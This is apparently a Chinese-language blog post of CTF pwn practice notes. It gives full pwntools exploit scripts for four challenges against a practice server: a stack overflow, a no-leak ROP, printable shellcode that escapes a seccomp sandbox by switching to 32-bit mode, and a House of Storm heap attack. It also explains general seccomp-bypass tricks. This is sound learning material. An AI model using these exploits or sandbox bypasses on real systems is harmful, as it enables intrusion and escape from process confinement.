practice Ⅰ
196082 慢慢好起来

练题笔记

已经学了一段时间内核了,感觉自己在基础知识方面比较欠缺,所以打算回过头去看一下相关书籍深入学习一下基础知识,在学习途中保持pwn题训练。

easy stack

题目分析

题目逻辑很简单

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF

alarm(0x3Cu);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
read_n(s, 0x100LL);
puts(s);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void *__fastcall read_n(void *a1, unsigned __int64 a2)
{
int v2; // eax
char s[520]; // [rsp+10h] [rbp-210h] BYREF
int v5; // [rsp+218h] [rbp-8h]
int v6; // [rsp+21Ch] [rbp-4h]

v6 = 0;
if ( a2 > 0x200 )
{
puts("too long!");
exit(-1);
}
do
{
read(0, &s[v6], 1uLL);
if ( s[v6] == 10 )
break;
if ( !s[v6] )
break;
v2 = v6++;
}
while ( a2 > v2 );
if ( s[v6] == 10 && a2 > v6 )
s[v6] = 0;
v5 = strlen(s);
return memcpy(a1, s, v5);
}

可以看到存在明显的栈溢出漏洞。不过比较棘手的是程序开启了PIE导致我们无法多次利用此漏洞,所以我们目前来看迫切需要的就是重复多次扩大漏洞。

在栈方面比较熟知扩大漏洞的方法是fini_array劫持,不过这里不存在任意写所以无法实现。

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000007C0                               public _start
.text:00000000000007C0 _start proc near ; DATA XREF: LOAD:0000000000000018↑o
.text:00000000000007C0 ; __unwind {
.text:00000000000007C0 31 ED xor ebp, ebp
.text:00000000000007C2 49 89 D1 mov r9, rdx ; rtld_fini
.text:00000000000007C5 5E pop rsi ; argc
.text:00000000000007C6 48 89 E2 mov rdx, rsp ; ubp_av
.text:00000000000007C9 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
.text:00000000000007CD 50 push rax
.text:00000000000007CE 54 push rsp ; stack_end
.text:00000000000007CF 4C 8D 05 FA 02 00 00 lea r8, __libc_csu_fini ; fini
.text:00000000000007D6 48 8D 0D 83 02 00 00 lea rcx, __libc_csu_init ; init
.text:00000000000007DD 48 8D 3D E0 01 00 00 lea rdi, main ; main
.text:00000000000007E4 FF 15 F6 07 20 00 call cs:__libc_start_main_ptr
.text:00000000000007E4
.text:00000000000007EA F4 hlt
.text:00000000000007EA ; } // starts at 7C0
.text:00000000000007EA
.text:00000000000007EA _start endp

总所周知,程序的入口是_start函数,并且我们知道这里的执行顺序是__libc_csu_init=>main=>__libc_csu_fini

image-20221013152012744

可以看到在进入函数不过多久就开始调用了_libc_csu_init,并且把main地址放在了rsp+0x18位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000021A35                 lea     rdi, [rsp+0B8h+var_98] ; env
.text:0000000000021A3A call _setjmp
.text:0000000000021A3F test eax, eax
.text:0000000000021A41 jnz short loc_21A8E
.text:0000000000021A43 mov rax, fs:300h
.text:0000000000021A4C mov [rsp+0B8h+var_50], rax
.text:0000000000021A51 mov rax, fs:2F8h
.text:0000000000021A5A mov [rsp+0B8h+var_48], rax
.text:0000000000021A5F lea rax, [rsp+0B8h+var_98]
.text:0000000000021A64 mov fs:300h, rax
.text:0000000000021A6D mov rax, cs:environ_ptr
.text:0000000000021A74 mov rsi, [rsp+8]
.text:0000000000021A79 mov edi, [rsp+14h]
.text:0000000000021A7D mov rdx, [rax]
.text:0000000000021A80 mov rax, [rsp+18h]
.text:0000000000021A85 call rax

image-20221013153034952

随后调用main函数,然后从main函数返回时的ret地址自然而然成了call的下一行。所以如果我们可以覆盖末尾字节为0x80即可重新进入main函数达到扩大漏洞的效果。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

elf = ELF('./easy_stack')
# r = process('./easy_stack')
r = remote('nc.eonew.cn', 10004)
libc = ELF('./libc-2.27.so')

context.arch = 'amd64'
context.log_level = 'debug'

payload = b'a'*0x88+p16(0x80)
r.send(payload)
r.recvuntil(b'a'*0x88)
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x21A80
print(hex(libc_base))

payload = b'a'*0x88 + flat(libc_base+0x415a6)
r.sendline(payload)

r.interactive()

no leak

题目分析

这里吐槽一下这个平台,给的libc不是常见libc,并且也不给ld文件,上面一道可以泄漏还好这个无法泄漏只能爆破偏移,太浪费时间了,基本就是盲调。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

alarm(0x3Cu);
read(0, buf, 0x100uLL);
return 0;
}

题目很简单,就只有简单的栈溢出,并且不存在任何的输出函数。

image-20221014184632346

这里还有一个吐槽点,因为程序保护是Full RELRO所以走ret2resolve是行不通的,所以下意识就是去找gadget。这里的吐槽点就是在ida和ROPgadget里面都找到有用的gadget是在ropper导出的内容才找到:

1
0000000000400518: add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

这里依旧需要熟知程序的运行机制,在上面一道题中我们提到了,程序开始时_start=>__libc_start_main=>main,在最后这里进入main时是用call进入的,所以会在栈上残留下__libc_start_main+231的地址,不过这里因为我们要持续劫持执行流所以我们不能利用这里,不过这里依旧存在很多可以用的,这里就不再赘述,可以自己看一下__libc_start_main的函数代码。

利用分析

看得出来上面的gadget是可以修改任意地址上内容的值,所以如果我们在已知地址上放上libc地址即可根据偏移得到system的地址,最后通过csu来call已知位置即可。

最后得出的思路就是:

栈迁移到bss段=>在bss布置rop进行csu调用__libc_start_main=>在__libc_start_main中调用read覆盖栈=>使用gadget修改残留位置指向system并用csu调用

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

elf = ELF('./no_leak')
# r = process('./no_leak')
r = remote('nc.eonew.cn', 10002)
libc = ELF('./libc-2.27.so')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

bss = elf.bss()+0x500
main = elf.sym['main']
_start = 0x400474
pop_rdi = 0x00000000004005d3
pop_rsi_r15 = 0x00000000004005d1
# add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
gadget = 0x0000000000400518
pop_rbp = 0x00000000004004b8
pop_rbx_rbp_r12_r13_r14_r15 = 0x4005CA
one_gadget = 0x41720

# gdb.attach(r, 'b*'+hex(elf.plt['read']))

payload = b'a'*0x80+flat(bss, pop_rdi, 0, pop_rsi_r15,
bss, 0, elf.plt['read'], 0x400564)
r.sendline(payload)
payload = flat(0x196082, 0x4005CA, (one_gadget-0x21a87)-1, (one_gadget-0x21a87),
(0x601558 - (((one_gadget-0x21a87)-1)*8)), elf.symbols['read'], 0, 0x601488, 0x4005B0, _start)
sleep(1)
r.sendline(payload)
sleep(1)
bin_sh_addr = 0x601488+0x90+8
payload = flat(pop_rbx_rbp_r12_r13_r14_r15,
-0x371f08, [0]*5, pop_rbp, 0x601448+0x3d, gadget, 0x4005CA, 0, 1, 0x601448, bin_sh_addr, 0, 0, 0x0000000000400416, 0x4005B0)
payload += b'/bin/sh\x00'
r.sendline(payload)

# r.sendline(p64(main))

r.interactive()

shellcode

在以往遇到沙箱的问题都是使用ORW,并且只是常规的进行调用,并没有更加深层次的讨论。这里就借此题目更加深入讨论一下在CTF中常见的沙箱保护以及绕过方式。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
void __noreturn start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
signed __int64 v2; // rax
unsigned __int64 v3; // r10
signed __int64 v4; // rax
char *v5; // rbx
signed __int64 v6; // rax
signed __int64 v7; // rax
int v8; // r12d
int i; // r13d
signed __int64 v10; // rax
signed __int64 v11; // rax
unsigned __int64 arg3[2]; // [rsp+80h] [rbp-80h] BYREF
__int16 v13; // [rsp+90h] [rbp-70h] BYREF
char v14; // [rsp+92h] [rbp-6Eh]
char v15; // [rsp+93h] [rbp-6Dh]
int v16; // [rsp+94h] [rbp-6Ch]
__int16 v17; // [rsp+98h] [rbp-68h]
char v18; // [rsp+9Ah] [rbp-66h]
char v19; // [rsp+9Bh] [rbp-65h]
int v20; // [rsp+9Ch] [rbp-64h]
__int16 v21; // [rsp+A0h] [rbp-60h]
char v22; // [rsp+A2h] [rbp-5Eh]
char v23; // [rsp+A3h] [rbp-5Dh]
int v24; // [rsp+A4h] [rbp-5Ch]
__int16 v25; // [rsp+A8h] [rbp-58h]
char v26; // [rsp+AAh] [rbp-56h]
char v27; // [rsp+ABh] [rbp-55h]
int v28; // [rsp+ACh] [rbp-54h]
__int16 v29; // [rsp+B0h] [rbp-50h]
char v30; // [rsp+B2h] [rbp-4Eh]
char v31; // [rsp+B3h] [rbp-4Dh]
int v32; // [rsp+B4h] [rbp-4Ch]
__int16 v33; // [rsp+B8h] [rbp-48h]
char v34; // [rsp+BAh] [rbp-46h]
char v35; // [rsp+BBh] [rbp-45h]
int v36; // [rsp+BCh] [rbp-44h]
__int16 v37; // [rsp+C0h] [rbp-40h]
char v38; // [rsp+C2h] [rbp-3Eh]
char v39; // [rsp+C3h] [rbp-3Dh]
int v40; // [rsp+C4h] [rbp-3Ch]
__int16 v41; // [rsp+C8h] [rbp-38h]
char v42; // [rsp+CAh] [rbp-36h]
char v43; // [rsp+CBh] [rbp-35h]
int v44; // [rsp+CCh] [rbp-34h]
__int16 v45; // [rsp+D0h] [rbp-30h]
char v46; // [rsp+D2h] [rbp-2Eh]
char v47; // [rsp+D3h] [rbp-2Dh]
int v48; // [rsp+D4h] [rbp-2Ch]

v13 = 32;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 21;
v18 = 6;
v19 = 0;
v20 = 5;
v21 = 21;
v22 = 5;
v23 = 0;
v24 = 37;
v25 = 21;
v26 = 4;
v27 = 0;
v28 = 1;
v29 = 21;
v30 = 3;
v31 = 0;
v32 = 0;
v33 = 21;
v34 = 2;
v35 = 0;
v36 = 9;
v37 = 21;
v38 = 1;
v39 = 0;
v40 = 231;
v41 = 6;
v42 = 0;
v43 = 0;
v44 = 0;
v45 = 6;
v46 = 0;
v47 = 0;
v48 = 2147418112;
LOWORD(arg3[0]) = 9;
arg3[1] = (unsigned __int64)&v13;
v0 = sys_alarm(0x3Cu);
v1 = sys_write(1u, "---------- Shellcode ----------\n", 0x20uLL);
v2 = sys_prctl(38, 1uLL, 0LL, 0LL);
v4 = sys_prctl(22, 2uLL, (unsigned __int64)arg3, v3);
v5 = (char *)sys_mmap(0LL, 0x1000uLL, 7uLL, 0x22uLL, 0xFFFFFFFFuLL, 0LL);
v6 = sys_write(1u, "Input your shellcode: ", 0x16uLL);
v7 = sys_read(0, v5, 0x1000uLL);
v8 = v7;
if ( v5[(int)v7 - 1] == 10 )
{
v5[(int)v7 - 1] = 0;
v8 = v7 - 1;
}
for ( i = 0; i < v8; ++i )
{
if ( v5[i] <= 0x1F || v5[i] == 0x7F )
{
v10 = sys_write(1u, "Check!\n", 7uLL);
goto LABEL_10;
}
}
((void (*)(void))v5)();
LABEL_10:
v11 = sys_exit_group(0);
}

题目很简单,限制了输入的shellcode为可见字符,这里虽然ida翻译为了if ( v5[i] <= 0x1F || v5[i] == 0x7F )不过在实际调试过程中发现就是不允许大于0x7f,上面开启了sandbox。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@0df3326fd7c0:/ctf/work/download # seccomp-tools dump ./shellcode
---------- Shellcode ----------
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0008
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
root@0df3326fd7c0:/ctf/work/download #

如果按照我以往的思维方式会认为这道题目是没法完成的,应为没有open调用。所以下面就讲解一下sandbox的一些利用技巧。

sandbox绕过

这里拿一个平时十分常见的沙箱规则做讲解:

1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0008
0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

这个沙箱规则是非常简单的,可以看到可以直接进行ORW获得flag。

可以看到这里前面两行做了一个判断,这个判断的效果就是判断当前的架构是否为amd64,如果不是可以看到直接会被kill掉。接着下面两行是验证sys_number的需要小于0x40000000

下面主要讲解如果不存上述两条判断的情况,以及一种额外的绕过方式。

1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0008
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW

这里用题目的沙箱规则做讲解。可以看到这里不存在架构的判断,并且也不存在sys_number大小的判断。不过可以看出来这里不能使用sysnumber+0x40000000的方式来绕过,因为这里判断调用号都不满足时就会直接KILL掉。不过这里可以使用进入x86架构来绕过。

首先要知道,程序是怎么知道要以64位模式运行还是以32位模式运行的;寄存器中有一个cs寄存器,cs = 0x23代表32位模式,cs = 0x33代表64位模式,而cs寄存器就是通过上面提到的retfq汇编指令来修改。

然后再深扒一下retfq指令,这一指令其实存在的是两步,分别是:ret; mov cs, [rsp + 8]所以如果我们事先控制了栈上的内容即可实现切换架构。

再看一下没有sys_number检验的沙箱规则

1
2
3
4
5
6
7
8
9
10
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0009
0004: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009
0005: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0009
0006: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0009
0007: 0x15 0x01 0x00 0x00000130 if (A == open_by_handle_at) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

这里是随便找的一个例子,可能不是很严谨。可以看到这里验证了架构,但是没有验证sys_number所以使用sys_number|0x40000000在下面的判断中不会被KILL掉,并且在后续执行过程中只会使用只会调用sys_number

下面讲解一下如果上述两条都存在时我们需要调用ORW应该如何处理

1
2
3
4
5
6
7
8
9
10
11
12
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

open系统调用实际上是调用了openat,所以直接 调用openat,然后除了 read,write,其实还有两个readv,和writev,这些就能绕过限制读取flag

解题思路

有了上述的基础就好做了,首先我们的思路就是想办法转到32位结构执行open,因为在32位的系统调用中open是5所以可以通过过滤。

不过这里我们需要知道的是在64位架构下的栈地址,在32位架构下是无法解析的,所以我还需要利用mmap生成一个可以放进esp中的地址当作栈。

其实有了上面的基础就很简单了,就不再赘述了直接给exp了。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *

elf = ELF('./shellcode')
# r = process("./shellcode")
r = remote('nc.eonew.cn', 10011)

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

shellcode = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040
pop rdi

push 0x7e
pop rsi

push 0x40
pop rax
xor al,0x47
push rax
pop rdx

push 0x40
pop rax
xor al,0x40
push rax
pop r8

push rax
pop r9

push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x2e],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x2f],cl

push 0x40
pop rax
xor al,0x49

push rdx
pop rdx

/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi

push 0x40
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40
push 0x70
pop rdx

push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x54],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x55],cl

push rdx
pop rax
xor al,0x70

push rdx
pop rdx

/*change to x86*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x3d],cl
push 0x68
pop rcx
xor byte ptr[rax+0x3d],cl
push 0x47
pop rcx
sub byte ptr[rax+0x3e],cl
push 0x48
pop rcx
sub byte ptr[rax+0x3e],cl

push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax

push rdx
pop rdx
'''

# gdb.attach(r, 'b*0x4002DE\nb*0x4002EB\nc')

payload = asm(shellcode, arch='amd64', os='linux')
r.sendline(payload)

# context.update(arch='i386', os='linux')

shellcode = '''
/*open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''

payload = asm(shellcode)
# context.update(arch='amd64', os='linux')
payload += b'\x90'*0x29
payload += asm('''
/*change to x64*/
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
''', arch='amd64')
r.sendline(payload)

r.interactive()

House of Storm

题目分析

这道题目是十分常规的菜单类堆题,不过这里在main中做了一定处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall new_environment(int a1)
{
int v1; // edx
int v2; // ecx
int v3; // er8
int v4; // er9
unsigned __int64 buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
old_addr = &dword_0;
read(a1, &buf, 8uLL);
buf = buf >> 32 << 12;
mallopt(1, 0);
change_addr(buf, 0, v1, v2, v3, v4);
munmap(old_addr, 0x2000uLL);
munmap((char *)old_addr + 2101248, 0x2000uLL);
old_addr = 0LL;
return __readfsqword(0x28u) ^ v7;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall change_addr(__int64 a1)
{
unsigned __int64 v1; // ST28_8
__int64 v2; // ST18_8
char *retaddr; // [rsp+38h] [rbp+8h]

v1 = __readfsqword(0x28u);
v2 = a1 - (_QWORD)old_addr;
mmap((void *)a1, 0x2000uLL, 2, 34, -1, 0LL);
memcpy((void *)a1, old_addr, 0x2000uLL);
mprotect((void *)a1, 0x2000uLL, 5);
mmap((void *)(a1 + 2101248), 0x1000uLL, 2, 34, -1, 0LL);
memcpy((void *)(a1 + 2101248), (char *)old_addr + 2101248, 0x1000uLL);
mprotect((void *)(a1 + 2101248), 0x1000uLL, 1);
mmap((void *)(a1 + 2105344), 0x1000uLL, 2, 34, -1, 0LL);
memcpy((void *)(a1 + 2105344), (char *)&_data_start + (_QWORD)old_addr, 0x1000uLL);
mprotect((void *)(a1 + 2105344), 0x1000uLL, 3);
retaddr += v2;
return __readfsqword(0x28u) ^ v1;
}

具体调试后得知这里会将process原本的基地址的内容转移到新的mmap出来的地址上去。不知道为什么如果这样干了gdb就会出现报错无法调试。不过这里只是修改process地址对我们利用没什么影响所以本地调试时可以直接patch掉。

1
2
3
4
5
6
7
8
9
10
11
int delete()
{
signed int v1; // [rsp+Ch] [rbp-4h]

puts("Which one do you want to delete?");
v1 = get_int("Which one do you want to delete?");
if ( v1 < 0 || (unsigned int)v1 > 0xF || !ptr[v1] )
return puts("Error: Invalid index!\n");
free(ptr[v1]);
return puts("Success!\n");
}

这里就是这道题目的漏洞点,很明显的UAF。忘了提一下,这里因为mallopt的缘故无法利用fastbin,虽然我们patch掉,但是如果用fastbin远程就打不通了。

漏洞利用

题目给的glibc版本时2.23所以我的第一反应就是通过large bin attack劫持IO_FILE的vtable然后直接执行one_gadget。

不过实际操作会发现所有的one_gadget都不符合条件,所以我们只能另辟蹊径。

这里我想到的是通过setcontext进行栈迁移,最后rop拿到shell。不过在puts中调用vtable时使用的寄存器为rax,这里需要有堆地址的寄存器位rdi,所以找到了一个magic gadget:

1
0000000000065bca: mov rdi, rax; call qword ptr [rax + 0x20];

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

elf = ELF('./house_of_storm')
# r = process('./house_of_storm')
r = remote('nc.eonew.cn', 10001)
libc = ELF('./libc-2.23.so')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.os = 'linux'


def create(size):
r.recvuntil(b'Your choice?')
r.sendline(b'1')
r.recvuntil(b'What size do you want?')
r.sendline(bytes(str(size), encoding='utf8'))


def delete(idx):
r.recvuntil(b'Your choice?')
r.sendline(b'2')
r.recvuntil(b'Which one do you want to delete?')
r.sendline(bytes(str(idx), encoding='utf8'))


def edit(idx, data):
r.recvuntil(b'Your choice?')
r.sendline(b'3')
r.recvuntil(b'Which one do you want to modify?')
r.sendline(bytes(str(idx), encoding='utf8'))
r.recvuntil(b'What do you want to input?')
r.send(data)


def show(idx):
r.recvuntil(b'Your choice?')
r.sendline(b'4')
r.recvuntil(b'Which one do you want to see?')
r.sendline(bytes(str(idx), encoding='utf8'))


create(0x510)
create(0x100)
create(0x500)
create(0x100)
create(0x200)
create(0x100)
create(0x200)
create(0x100)

delete(4)
delete(6)
show(6)

r.recvline()
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0xc50
print(hex(heap_base))

delete(7)
delete(5)

delete(0)
show(0)

r.recvline()
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x39bb78
print(hex(libc_base))

pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
system = libc_base+libc.sym['system']
bin_sh = libc_base+next(libc.search(b'/bin/sh'))

edit(1, flat(pop_rdi, bin_sh, system))

create(0x600)
# gdb.attach(r)
edit(0, flat([libc_base+0x39bfa8]*2, 0, libc_base +
0x39c6f8-0x20, 0, libc_base+0x734f0)+b'\n')
delete(2)
# gdb.attach(r, 'b*$rebase(0xC17)\nb*'+hex(libc_base+0x45226))
# gdb.attach(r, 'b*$rebase(0xE10)')
edit(2, flat([libc_base+0x39bb78]*2,
[libc_base + 0x45226]*3, libc_base+0x734f0)+b'\n')
create(0x600)
# gdb.attach(r, 'b*$rebase(0xE10)\nc')
# edit(2, flat([libc_base+0x3c4b78]*2, [libc_base +
# libc.symbols['setcontext']+53]*3, libc_base+0x6d99a))
sleep(1)
r.sendline(b'3')
sleep(1)
r.sendline(bytes(str(0), encoding='utf8'))
sleep(1)
payload = flat([libc_base + libc.symbols['setcontext']+53]
* 5, libc_base+0x65bca)
payload = payload.ljust(0xa0-0x10, b'a') + \
flat(heap_base+0x520, libc_base+0x205c2)
r.send(payload)
# edit(0, flat([libc_base+0x45226]*5, libc_base+0x7c990))

r.interactive()

小结

这么多天做星盟的题会发现题目质量非常之高,需要对程序的运行,sandbox绕过机制,shellcode的熟练编写以及在堆题中找适合的gadget,有深刻的理解才可以完成解题。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量